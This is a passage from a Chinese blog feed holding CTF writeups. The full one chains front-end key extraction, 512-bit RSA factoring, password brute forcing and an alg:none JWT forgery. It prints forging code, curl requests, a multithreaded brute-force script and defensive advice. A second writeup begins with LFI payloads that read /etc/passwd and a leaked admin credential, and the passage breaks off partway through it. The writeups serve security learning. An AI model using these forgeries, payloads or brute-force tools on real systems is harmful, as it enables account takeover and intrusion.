class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><code class="hljs bash"><span class="hljs-comment"># Header</span><br><span class="hljs-built_in">echo</span> <span class="hljs-string">&quot;eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9&quot;</span> | <span class="hljs-built_in">base64</span> -d<br><span class="hljs-comment"># &#123;&quot;typ&quot;:&quot;JWT&quot;,&quot;alg&quot;:&quot;HS256&quot;&#125;</span><br><br><span class="hljs-comment"># Payload</span><br><span class="hljs-built_in">echo</span> <span class="hljs-string">&quot;eyJ1c2VybmFtZSI6ImtpbG8iLCJyb2xlIjoiYm9vc3RlciIsInNjb3BlIjoicmV3YXJkIn0&quot;</span> | <span class="hljs-built_in">base64</span> -d<br><span class="hljs-comment"># &#123;&quot;username&quot;:&quot;kilo&quot;,&quot;role&quot;:&quot;booster&quot;,&quot;scope&quot;:&quot;reward&quot;&#125;</span><br></code></pre></td></tr></table></figure><p><strong>JWT结构分析</strong>：</p><ul><li>算法：HS256（HMAC-SHA256）</li><li>用户角色：booster（打手）</li><li>权限范围：reward（报酬）</li></ul><p>要访问报酬接口，可能需要更高的权限，例如<code>admin</code>角色。</p><h3 id="4-3-JWT安全绕过-alg-none攻击"><a href="#4-3-JWT安全绕过-alg-none攻击" class="headerlink" title="4.3 JWT安全绕过 - alg:none攻击"></a>4.3 JWT安全绕过 - alg:none攻击</h3><p>JWT存在一个经典漏洞：<strong>alg:none绕过</strong>。某些JWT库在验证时，如果算法设置为”none”，会跳过签名验证。</p><p>构造alg:none的JWT token：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><code class="hljs python"><span class="hljs-keyword">import</span> base64<br><span class="hljs-keyword">import</span> json<br><br><span class="hljs-comment"># Header - 设置算法为none</span><br>header = &#123;<span class="hljs-string">&quot;typ&quot;</span>: <span class="hljs-string">&quot;JWT&quot;</span>, <span class="hljs-string">&quot;alg&quot;</span>: <span class="hljs-string">&quot;none&quot;</span>&#125;<br><br><span class="hljs-comment"># Payload - 提权至admin</span><br>payload = &#123;<span class="hljs-string">&quot;username&quot;</span>: <span class="hljs-string">&quot;admin&quot;</span>, <span class="hljs-string">&quot;role&quot;</span>: <span class="hljs-string">&quot;admin&quot;</span>, <span class="hljs-string">&quot;scope&quot;</span>: <span class="hljs-string">&quot;reward&quot;</span>&#125;<br><br><span class="hljs-comment"># Base64编码（URL-safe）</span><br>h = base64.urlsafe_b64encode(<br>    json.dumps(header, separators=(<span class="hljs-string">&#x27;,&#x27;</span>,<span class="hljs-string">&#x27;:&#x27;</span>)).encode()<br>).decode().rstrip(<span class="hljs-string">&#x27;=&#x27;</span>)<br><br>p = base64.urlsafe_b64encode(<br>    json.dumps(payload, separators=(<span class="hljs-string">&#x27;,&#x27;</span>,<span class="hljs-string">&#x27;:&#x27;</span>)).encode()<br>).decode().rstrip(<span class="hljs-string">&#x27;=&#x27;</span>)<br><br><span class="hljs-comment"># alg:none的JWT格式：header.payload.（注意末尾的点）</span><br>jwt_token = <span class="hljs-string">f&quot;<span class="hljs-subst">&#123;h&#125;</span>.<span class="hljs-subst">&#123;p&#125;</span>.&quot;</span><br><span class="hljs-built_in">print</span>(jwt_token)<br></code></pre></td></tr></table></figure><p>生成的token：</p><figure class="highlight erlang"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs erlang">eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6ImFkbWluIiwic2NvcGUiOiJyZXdhcmQifQ.<br></code></pre></td></tr></table></figure><p><strong>关键点</strong>：</p><ul><li>alg设置为”none”</li><li>payload中role改为”admin”</li><li>签名部分为空（但保留末尾的点）</li></ul><h3 id="4-4-使用伪造JWT访问报酬接口"><a href="#4-4-使用伪造JWT访问报酬接口" class="headerlink" title="4.4 使用伪造JWT访问报酬接口"></a>4.4 使用伪造JWT访问报酬接口</h3><p>使用构造的alg:none JWT token访问报酬接口：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><code class="hljs bash">curl http://target/money/15d25cb334a84bfb93a604549df9a570 \<br>  -H <span class="hljs-string">&quot;Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6ImFkbWluIiwic2NvcGUiOiJyZXdhcmQifQ.&quot;</span><br></code></pre></td></tr></table></figure><p><strong>成功</strong>！🎉</p><hr><h2 id="Step-5-获取Flag"><a href="#Step-5-获取Flag" class="headerlink" title="Step 5: 获取Flag"></a>Step 5: 获取Flag</h2><p>服务器接受了alg:none的JWT token，返回最终Flag：</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><code class="hljs json"><span class="hljs-punctuation">&#123;</span><br>  <span class="hljs-attr">&quot;flag&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;flag&#123;9d55332b-52fc-49cd-a79f-9900a88cd24b&#125;&quot;</span><span class="hljs-punctuation">,</span><br>  <span class="hljs-attr">&quot;message&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;admin settlement&quot;</span><br><span class="hljs-punctuation">&#125;</span><br></code></pre></td></tr></table></figure><p><strong>Flag</strong>: <code>flag&#123;9d55332b-52fc-49cd-a79f-9900a88cd24b&#125;</code></p><p>挑战成功完成！</p><hr><h2 id="技术总结"><a href="#技术总结" class="headerlink" title="技术总结"></a>技术总结</h2><h3 id="漏洞利用链"><a href="#漏洞利用链" class="headerlink" title="漏洞利用链"></a>漏洞利用链</h3><p>这道题目串联了多个真实场景中的安全漏洞，形成完整的攻击链：</p><ol><li><strong>前端硬编码密钥</strong> → AES-CBC加密参数泄露</li><li><strong>弱密码学算法</strong> → 512位RSA可被快速分解</li><li><strong>水平越权(IDOR)</strong> → 通过真实用户名+密码访问他人数据</li><li><strong>敏感信息泄露</strong> → 客服消息中暴露隐藏API路径</li><li><strong>JWT安全缺陷</strong> → alg:none绕过签名验证</li></ol><h3 id="关键知识点"><a href="#关键知识点" class="headerlink" title="关键知识点"></a>关键知识点</h3><h4 id="1-前端加密的误区"><a href="#1-前端加密的误区" class="headerlink" title="1. 前端加密的误区"></a>1. 前端加密的误区</h4><p><strong>错误认知</strong>：在前端加密可以保护用户密码</p><p><strong>实际情况</strong>：</p><ul><li>前端代码完全透明，加密密钥容易被提取</li><li>前端加密无法防止中间人攻击</li><li>应该使用HTTPS + 后端加密</li></ul><p><strong>正确做法</strong>：</p><ul><li>HTTPS传输明文密码</li><li>后端使用bcrypt&#x2F;argon2等单向哈希算法</li><li>考虑使用SRP等零知识证明协议</li></ul><h4 id="2-RSA密钥长度的重要性"><a href="#2-RSA密钥长度的重要性" class="headerlink" title="2. RSA密钥长度的重要性"></a>2. RSA密钥长度的重要性</h4><p><strong>512位RSA</strong>：</p><ul><li>1999年已被成功分解</li><li>现代计算机几秒内即可破解</li><li>绝对不应在生产环境使用</li></ul><p><strong>推荐标准</strong>：</p><ul><li>最低2048位（目前标准）</li><li>推荐3072位或4096位</li><li>或使用椭圆曲线加密(ECC)</li></ul><h4 id="3-JWT安全最佳实践"><a href="#3-JWT安全最佳实践" class="headerlink" title="3. JWT安全最佳实践"></a>3. JWT安全最佳实践</h4><p><strong>alg:none漏洞原因</strong>：</p><ul><li>某些JWT库默认接受”none”算法</li><li>验证逻辑未正确处理算法字段</li><li>开发者未限制允许的算法列表</li></ul><p><strong>防御措施</strong>：</p><ul><li>明确指定允许的签名算法白名单</li><li>拒绝alg:none的token</li><li>使用最新版本的JWT库</li><li>定期更新签名密钥</li><li>使用强随机密钥（避免”secret”等弱密钥）</li></ul><h4 id="4-IDOR漏洞防御"><a href="#4-IDOR漏洞防御" class="headerlink" title="4. IDOR漏洞防御"></a>4. IDOR漏洞防御</h4><p><strong>本题中的IDOR路径</strong>：</p><figure class="highlight css"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs css">用户<span class="hljs-selector-tag">A</span> (testuser) → 获取真实用户名(kilo) → 爆破密码 → 访问用户<span class="hljs-selector-tag">B</span>的数据<br></code></pre></td></tr></table></figure><p><strong>防御建议</strong>：</p><ul><li>使用不可预测的UUID替代用户名</li><li>服务端严格验证当前用户权限</li><li>避免在前端暴露真实用户标识</li><li>使用加密的session token而非明文用户名</li><li>实施访问控制列表(ACL)</li></ul><hr><h2 id="工具脚本说明"><a href="#工具脚本说明" class="headerlink" title="工具脚本说明"></a>工具脚本说明</h2><h3 id="密码爆破脚本分析"><a href="#密码爆破脚本分析" class="headerlink" title="密码爆破脚本分析"></a>密码爆破脚本分析</h3><p>提供的爆破脚本(<code>brute_login.py</code>)实现了以下功能：</p><p><strong>核心特性</strong>：</p><ol><li><strong>AES-CBC加密集成</strong> - 自动使用硬编码的KEY&#x2F;IV加密密码</li><li><strong>多线程并发</strong> - 支持8-64线程并发爆破，大幅提升速度</li><li><strong>字典支持</strong> - 兼容标准密码字典（如rockyou.txt）</li><li><strong>智能停止</strong> - 发现正确密码后立即停止所有线程</li><li><strong>请求控制</strong> - 支持延迟、超时、最大尝试次数等参数</li></ol><p><strong>使用示例</strong>：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><code class="hljs bash"><span class="hljs-comment"># 单密码测试</span><br>python3 brute_login.py \<br>  --base-url http://target:8000 \<br>  --username kilo \<br>  --password letmein<br><br><span class="hljs-comment"># 字典爆破（推荐）</span><br>python3 brute_login.py \<br>  --base-url http://target:8000 \<br>  --username kilo \<br>  --wordlist rockyou.txt \<br>  --threads 16 \<br>  --max 10000 \<br>  --delay 0.1<br></code></pre></td></tr></table></figure><p><strong>关键代码逻辑</strong>：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><code class="hljs python"><span class="hljs-comment"># 1. AES-CBC加密密码</span><br><span class="hljs-keyword">def</span> <span class="hljs-title function_">encrypt_password</span>(<span class="hljs-params">password: <span class="hljs-built_in">str</span></span>) -&gt; <span class="hljs-built_in">str</span>:<br>    cipher = AES.new(LOGIN_AES_KEY, AES.MODE_CBC, LOGIN_AES_IV)<br>    ciphertext = cipher.encrypt(pad(password.encode(<span class="hljs-string">&quot;utf-8&quot;</span>), AES.block_size))<br>    <span class="hljs-keyword">return</span> base64.b64encode(ciphertext).decode(<span class="hljs-string">&quot;ascii&quot;</span>)<br><br><span class="hljs-comment"># 2. 并发爆破</span><br><span class="hljs-keyword">with</span> ThreadPoolExecutor(max_workers=args.threads) <span class="hljs-keyword">as</span> executor:<br>    futures = [executor.submit(worker, pw) <span class="hljs-keyword">for</span> pw <span class="hljs-keyword">in</span> iter_passwords(wordlist)]<br>    <span class="hljs-keyword">for</span> future <span class="hljs-keyword">in</span> as_completed(futures):<br>        result = future.result()<br>        <span class="hljs-keyword">if</span> result:  <span class="hljs-comment"># 发现正确密码</span><br>            stop_event.<span class="hljs-built_in">set</span>()  <span class="hljs-comment"># 通知所有线程停止</span><br>            <span class="hljs-keyword">return</span> result<br></code></pre></td></tr></table></figure><p><strong>性能优化技巧</strong>：</p><ul><li>使用线程池复用连接</li><li>发现正确密码后立即停止</li><li>支持设置延迟避免触发WAF</li><li>限制最大尝试次数节省时间</li></ul><hr><h2 id="个人收获与思考"><a href="#个人收获与思考" class="headerlink" title="个人收获与思考"></a>个人收获与思考</h2><h3 id="攻击链思维的重要性"><a href="#攻击链思维的重要性" class="headerlink" title="攻击链思维的重要性"></a>攻击链思维的重要性</h3><p>这道题目最大的收获是学会<strong>攻击链思维</strong>。单独的漏洞可能影响有限，但串联起来就能完成完整的攻击：</p><figure class="highlight mipsasm"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs mipsasm">前端加密逆向 → RSA密钥分解 → IDOR越权 → 信息泄露 → <span class="hljs-keyword">JWT伪造 </span>→ 获取敏感数据<br></code></pre></td></tr></table></figure><p>每一步都为下一步铺路，环环相扣。这也提醒我们在实际渗透测试中：</p><ul><li>不要轻易放弃”看似无用”的信息</li><li>保持耐心，尝试将各种发现串联起来</li><li>一个小漏洞可能是整个攻击链的关键一环</li></ul><h3 id="真实场景的启发"><a href="#真实场景的启发" class="headerlink" title="真实场景的启发"></a>真实场景的启发</h3><p><strong>靶场设计的巧妙之处</strong>：</p><ol><li>模拟了真实的业务场景（游戏陪玩平台）</li><li>漏洞设置符合实际开发中的常见错误</li><li>攻击路径需要逻辑推理，而非单纯技术堆砌</li></ol><p><strong>对实际安全开发的启示</strong>：</p><ul><li>前端加密≠安全，只是增加了逆向成本</li><li>密码学参数选择要慎重（密钥长度、算法版本等）</li><li>用户标识符设计要考虑安全性</li><li>JWT实现要严格验证算法字段</li><li>敏感信息不应暴露在任何前端&#x2F;日志中</li></ul><h3 id="遇到的难点与解决"><a href="#遇到的难点与解决" class="headerlink" title="遇到的难点与解决"></a>遇到的难点与解决</h3><p><strong>难点1：找不到RSA公钥</strong></p><ul><li>问题：在JS文件和HTML源码中找不到公钥</li><li>解决：探索发现独立的API端点 <code>/api/rsa_gen</code></li><li>启示：关键参数可能在专门的配置接口中</li></ul><p><strong>难点2：无法通过API参数实现IDOR</strong></p><ul><li>问题：尝试username参数访问其他用户数据失败</li><li>解决：通过解密+密码爆破直接登录真实用户</li><li>启示：IDOR不一定是参数篡改，还可能是身份冒充</li></ul><p><strong>难点3：客服消息中找不到线索</strong></p><ul><li>问题：测试账号的消息只有欢迎信息</li><li>解决：需要以真实打手(kilo)身份登录才能看到隐藏路径</li><li>启示：不同角色&#x2F;用户看到的数据可能完全不同</li></ul><h3 id="安全开发建议"><a href="#安全开发建议" class="headerlink" title="安全开发建议"></a>安全开发建议</h3><p>基于本次挑战的经验，给开发团队的安全建议：</p><p><strong>1. 密码传输</strong></p><figure class="highlight"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><code class="hljs">❌ 前端AES-CBC加密 + HTTP传输<br>✅ HTTPS传输明文 + 后端bcrypt哈希<br></code></pre></td></tr></table></figure><p><strong>2. 用户标识符</strong></p><figure class="highlight pgsql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><code class="hljs pgsql">❌ 可预测的用户名 + RSA加密<br>✅ 不可预测的<span class="hljs-type">UUID</span> + 服务端权限验证<br></code></pre></td></tr></table></figure><p><strong>3. JWT实现</strong></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><code class="hljs python"><span class="hljs-comment"># ❌ 危险的JWT验证</span><br>jwt.decode(token, verify=<span class="hljs-literal">False</span>)  <span class="hljs-comment"># 不验证签名</span><br><br><span class="hljs-comment"># ✅ 安全的JWT验证</span><br>jwt.decode(<br>    token, <br>    key=SECRET_KEY,<br>    algorithms=[<span class="hljs-string">&quot;HS256&quot;</span>],  <span class="hljs-comment"># 明确指定允许的算法</span><br>    options=&#123;<span class="hljs-string">&quot;verify_signature&quot;</span>: <span class="hljs-literal">True</span>&#125;<br>)<br></code></pre></td></tr></table></figure><p><strong>4. 敏感信息管理</strong></p><figure class="highlight"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><code class="hljs">❌ API路径写在客服消息中<br>✅ 动态生成带签名的临时访问链接<br></code></pre></td></tr></table></figure><hr><h2 id="完整攻击流程回顾"><a href="#完整攻击流程回顾" class="headerlink" title="完整攻击流程回顾"></a>完整攻击流程回顾</h2><h3 id="快速复现步骤"><a href="#快速复现步骤" class="headerlink" title="快速复现步骤"></a>快速复现步骤</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br></pre></td><td class="code"><pre><code class="hljs bash"><span class="hljs-comment"># 1. 提取AES密钥并注册账号</span><br>KEY=<span class="hljs-string">&quot;DF-login-key-16!&quot;</span><br>IV=<span class="hljs-string">&quot;16-byte-login-iv&quot;</span><br><br><span class="hljs-comment"># 2. 获取RSA公钥并分解</span><br>curl http://target/api/rsa_gen -H <span class="hljs-string">&quot;X-Access-Token: YOUR_TOKEN&quot;</span> &gt; pubkey.pem<br>python3 factor_rsa.py  <span class="hljs-comment"># 生成私钥</span><br><br><span class="hljs-comment"># 3. 解密打手用户名</span><br>python3 decrypt_username.py <span class="hljs-string">&quot;base64_encrypted_username&quot;</span><br><span class="hljs-comment"># 输出: kilo</span><br><br><span class="hljs-comment"># 4. 爆破密码</span><br>python3 brute_login.py --username kilo --wordlist rockyou.txt --threads 16<br><span class="hljs-comment"># 发现密码: letmein</span><br><br><span class="hljs-comment"># 5. 登录kilo账号</span><br>python3 aes_encrypt.py <span class="hljs-string">&quot;letmein&quot;</span>  <span class="hljs-comment"># 加密密码</span><br>curl -X POST http://target/api/account/login \<br>  -d <span class="hljs-string">&#x27;&#123;&quot;username&quot;:&quot;kilo&quot;,&quot;password&quot;:&quot;9Y0I5DD+U5ymnvO0KJ4HTQ==&quot;&#125;&#x27;</span><br><br><span class="hljs-comment"># 6. 查看客服消息获取隐藏路径</span><br>curl http://target/api/booster/support/messages \<br>  -H <span class="hljs-string">&quot;X-Access-Token: KILO_TOKEN&quot;</span><br><span class="hljs-comment"># 发现: /money/15d25cb334a84bfb93a604549df9a570</span><br><br><span class="hljs-comment"># 7. 伪造JWT并获取Flag</span><br>python3 jwt_forge.py  <span class="hljs-comment"># 生成alg:none JWT</span><br>curl http://target/money/15d25cb334a84bfb93a604549df9a570 \<br>  -H <span class="hljs-string">&quot;Authorization: Bearer FORGED_JWT&quot;</span><br><span class="hljs-comment"># 获得: flag&#123;9d55332b-52fc-49cd-a79f-9900a88cd24b&#125;</span><br></code></pre></td></tr></table></figure><h3 id="时间线"><a href="#时间线" class="headerlink" title="时间线"></a>时间线</h3><ul><li><strong>00:00-00:15</strong> - 前端加密逆向，提取AES密钥</li><li><strong>00:15-00:30</strong> - 发现RSA公钥端点，分解512位密钥</li><li><strong>00:30-00:45</strong> - 解密打手用户名</li><li><strong>00:45-01:30</strong> - 密码爆破（卡点较久）</li><li><strong>01:30-01:45</strong> - 以kilo身份登录，查看客服消息</li><li><strong>01:45-02:00</strong> - JWT伪造提权，获取Flag</li></ul><p><strong>总耗时</strong>: 约2小时（包含探索和试错时间）</p><hr><h2 id="参考资源"><a href="#参考资源" class="headerlink" title="参考资源"></a>参考资源</h2><h3 id="相关工具"><a href="#相关工具" class="headerlink" title="相关工具"></a>相关工具</h3><ul><li><p><strong>PyCryptodome</strong> - Python密码学库</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs bash">pip install pycryptodome<br></code></pre></td></tr></table></figure></li><li><p><strong>RsaCtfTool</strong> - RSA分析和攻击工具</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><code class="hljs bash">git <span class="hljs-built_in">clone</span> https://github.com/RsaCtfTool/RsaCtfTool.git<br>python3 RsaCtfTool.py -n &lt;modulus&gt; -e &lt;exponent&gt; --private<br></code></pre></td></tr></table></figure></li><li><p><strong>jwt_tool</strong> - JWT分析和伪造工具</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><code class="hljs bash">git <span class="hljs-built_in">clone</span> https://github.com/ticarpi/jwt_tool<br>python3 jwt_tool.py &lt;token&gt;<br></code></pre></td></tr></table></figure></li></ul><h3 id="学习资源"><a href="#学习资源" class="headerlink" title="学习资源"></a>学习资源</h3><p><strong>密码学基础</strong>：</p><ul><li><a href="https://www.crypto101.io/">Crypto101</a> - 密码学入门教程</li><li><a href="https://cryptohack.org/">CryptoHack</a> - 密码学CTF平台</li></ul><p><strong>JWT安全</strong>：</p><ul><li><a href="https://jwt.io/">JWT.io</a> - JWT调试工具</li><li><a href="https://cheatsheetseries.owasp.org/cheatsheets/JSON_Web_Token_for_Java_Cheat_Sheet.html">OWASP JWT Cheat Sheet</a></li></ul><p><strong>IDOR漏洞</strong>：</p><ul><li><a href="https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/05-Authorization_Testing/04-Testing_for_Insecure_Direct_Object_References">OWASP IDOR</a></li><li><a href="https://portswigger.net/web-security/access-control">PortSwigger Web Security Academy - Access Control</a></li></ul><hr><h2 id="结语"><a href="#结语" class="headerlink" title="结语"></a>结语</h2><p>这道”越权密钥”挑战是一次完整的Web安全攻防演练，涵盖了从信息收集、密码学攻击、权限提升到最终获取敏感数据的全过程。</p><p><strong>最大的收获</strong>：</p><ul><li>学会了攻击链思维，将多个小漏洞串联成完整攻击</li><li>理解了密码学参数选择的重要性（密钥长度、算法版本）</li><li>认识到前端安全的局限性</li><li>掌握了JWT安全的常见陷阱</li></ul><p><strong>致谢</strong>：<br>感谢”雾島风起時”系列靶场提供的优质学习资源，通过真实场景的模拟让我们能够在安全的环境中学习和实践。</p><p><strong>最后的提醒</strong>：<br>本writeup仅用于技术学习和安全研究，请勿将相关技术用于非法用途。网络安全从业者应当遵守法律法规和职业道德。</p><hr><p><strong>Author</strong>: Kiro AI<br><strong>Date</strong>: 2026-07-03<br><strong>Challenge</strong>: 越权密钥 - 雾島风起時<br><strong>Flag</strong>: <code>flag&#123;9d55332b-52fc-49cd-a79f-9900a88cd24b&#125;</code></p><hr><p><em>Happy Hacking! 🚀</em></p>]]>
    </content>
    <id>http://82.156.189.140:8085/2026/07/03/%E8%B6%8A%E6%9D%83%E5%AF%86%E9%92%A5/</id>
    <link href="http://82.156.189.140:8085/2026/07/03/%E8%B6%8A%E6%9D%83%E5%AF%86%E9%92%A5/"/>
    <published>2026-07-03T09:59:26.000Z</published>
    <summary>
      <![CDATA[<h1 id="越权密钥-CTF-Web-安全综合挑战-Writeup"><a href="#越权密钥-CTF-Web-安全综合挑战-Writeup" class="headerlink" title="越权密钥 - CTF Web 安全综合挑战 Writeup"></a>越权密]]>
    </summary>
    <title>越权密钥</title>
    <updated>2026-07-18T03:15:21.944Z</updated>
  </entry>
  <entry>
    <author>
      <name>fortuneh2c</name>
    </author>
    <category term="题解" scheme="http://82.156.189.140:8085/categories/%E9%A2%98%E8%A7%A3/"/>
    <category term="CTF" scheme="http://82.156.189.140:8085/tags/CTF/"/>
    <category term="Writeup" scheme="http://82.156.189.140:8085/tags/Writeup/"/>
    <content>
      <![CDATA[<h1 id="LFI与Zip-Slip组合利用实战-从信息泄露到RCE"><a href="#LFI与Zip-Slip组合利用实战-从信息泄露到RCE" class="headerlink" title="LFI与Zip Slip组合利用实战 - 从信息泄露到RCE"></a>LFI与Zip Slip组合利用实战 - 从信息泄露到RCE</h1><blockquote><p>本文记录了一次完整的CTF靶场渗透测试过程，涉及文件包含漏洞(LFI)、Zip Slip路径遍历、WAF绕过等多个知识点的组合利用。</p></blockquote><h2 id="0x00-前言"><a href="#0x00-前言" class="headerlink" title="0x00 前言"></a>0x00 前言</h2><p>最近在练习CTF靶场时遇到了一道非常有意思的题目：<strong>LFI与Zip Slip组合利用</strong>。这道题很好地展示了如何将多个看似独立的漏洞串联起来，最终实现远程代码执行(RCE)并获取目标系统权限。</p><p>靶机信息：</p><ul><li>目标：<code>ulab.bdziyi.cn:20732</code></li><li>类型：Web渗透</li><li>难度：中等</li><li>知识点：LFI、Zip Slip、WAF绕过、文件上传</li></ul><h2 id="0x01-初步侦察"><a href="#0x01-初步侦察" class="headerlink" title="0x01 初步侦察"></a>0x01 初步侦察</h2><p>首先访问目标站点，是一个典型的PHP应用。页面很简洁，只有首页和关于页面的导航链接。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs bash">curl http://ulab.bdziyi.cn:20732/<br></code></pre></td></tr></table></figure><p>通过观察URL发现了一个可疑的参数：<code>?page=home</code> 和 <code>?page=about</code>。</p><p>这立刻引起了我的注意 - <strong>这是一个典型的LFI(本地文件包含)漏洞的特征</strong>。</p><h3 id="LFI漏洞测试"><a href="#LFI漏洞测试" class="headerlink" title="LFI漏洞测试"></a>LFI漏洞测试</h3><p>我尝试了几种常见的LFI payload：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><code class="hljs bash"><span class="hljs-comment"># 路径遍历读取系统文件</span><br>?page=../../../etc/passwd<br><br><span class="hljs-comment"># PHP伪协议读取源代码</span><br>?page=php://filter/convert.base64-encode/resource=index<br><br><span class="hljs-comment"># 包含日志文件</span><br>?page=../../../var/log/apache/access.log<br></code></pre></td></tr></table></figure><p>结果都被返回了404错误。看来应用做了过滤，不允许路径遍历和特殊协议。</p><p><strong>经验总结</strong>：遇到过滤不要灰心，继续寻找其他突破点。真实渗透中，很少有漏洞能一步到位。</p><h2 id="0x02-信息收集-柳暗花明"><a href="#0x02-信息收集-柳暗花明" class="headerlink" title="0x02 信息收集 - 柳暗花明"></a>0x02 信息收集 - 柳暗花明</h2><p>既然直接的LFI利用不通，我开始寻找其他线索。按F12打开浏览器开发者工具，查看页面加载的静态资源。</p><p>在CSS文件 <code>css/style.css</code> 中，我发现了一个非常关键的注释：</p><figure class="highlight css"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><code class="hljs css"><span class="hljs-comment">/* 注意：所有配置都存放在 config/sec_admin_pass.txt 中 */</span><br><span class="hljs-selector-pseudo">:root</span> &#123;<br>    <span class="hljs-attr">--bg-color</span>: <span class="hljs-number">#f4f7f6</span>;<br>    ...<br>&#125;<br></code></pre></td></tr></table></figure><p><strong>这是一个重大发现！</strong> 开发者在CSS注释中泄露了敏感配置文件的路径。</p><h3 id="获取管理员凭据"><a href="#获取管理员凭据" class="headerlink" title="获取管理员凭据"></a>获取管理员凭据</h3><p>直接访问这个配置文件：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs bash">curl http://ulab.bdziyi.cn:20732/config/sec_admin_pass.txt<br></code></pre></td></tr></table></figure><p>成功获得了管理员凭据：</p><figure class="highlight avrasm"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs avrasm"><span class="hljs-symbol">bugku666:</span>xmcve2018<br></code></pre></td></tr></table></figure><p><strong>渗透经验</strong>：</p><ol><li><strong>信息收集的重要性</strong>：前端代码、注释、配置文件都可能包含关键信息</li><li><strong>开发人员的安全意识</strong>：在生产环境中留下这种注释是非常危险的</li><li><strong>全面搜索</strong>：不要只关注主页面，CSS、JS、图片等静态资源也要检查</li></ol><h2 id="0x03-突破管理后台"><a href="#0x03-突破管理后台" class="headerlink" title="0x03 突破管理后台"></a>0x03 突破管理后台</h2><p>有了管理员凭据后，下一步是找到登录入口。通过目录扫描或者尝试常见路径，我找到了管理后台的登录页面：</p><figure class="highlight awk"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs awk">http:<span class="hljs-regexp">//u</span>lab.bdziyi.cn:<span class="hljs-number">20732</span><span class="hljs-regexp">/admin/</span>login.php<br></code></pre></td></tr></table></figure><p>使用获取的凭据登录：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><code 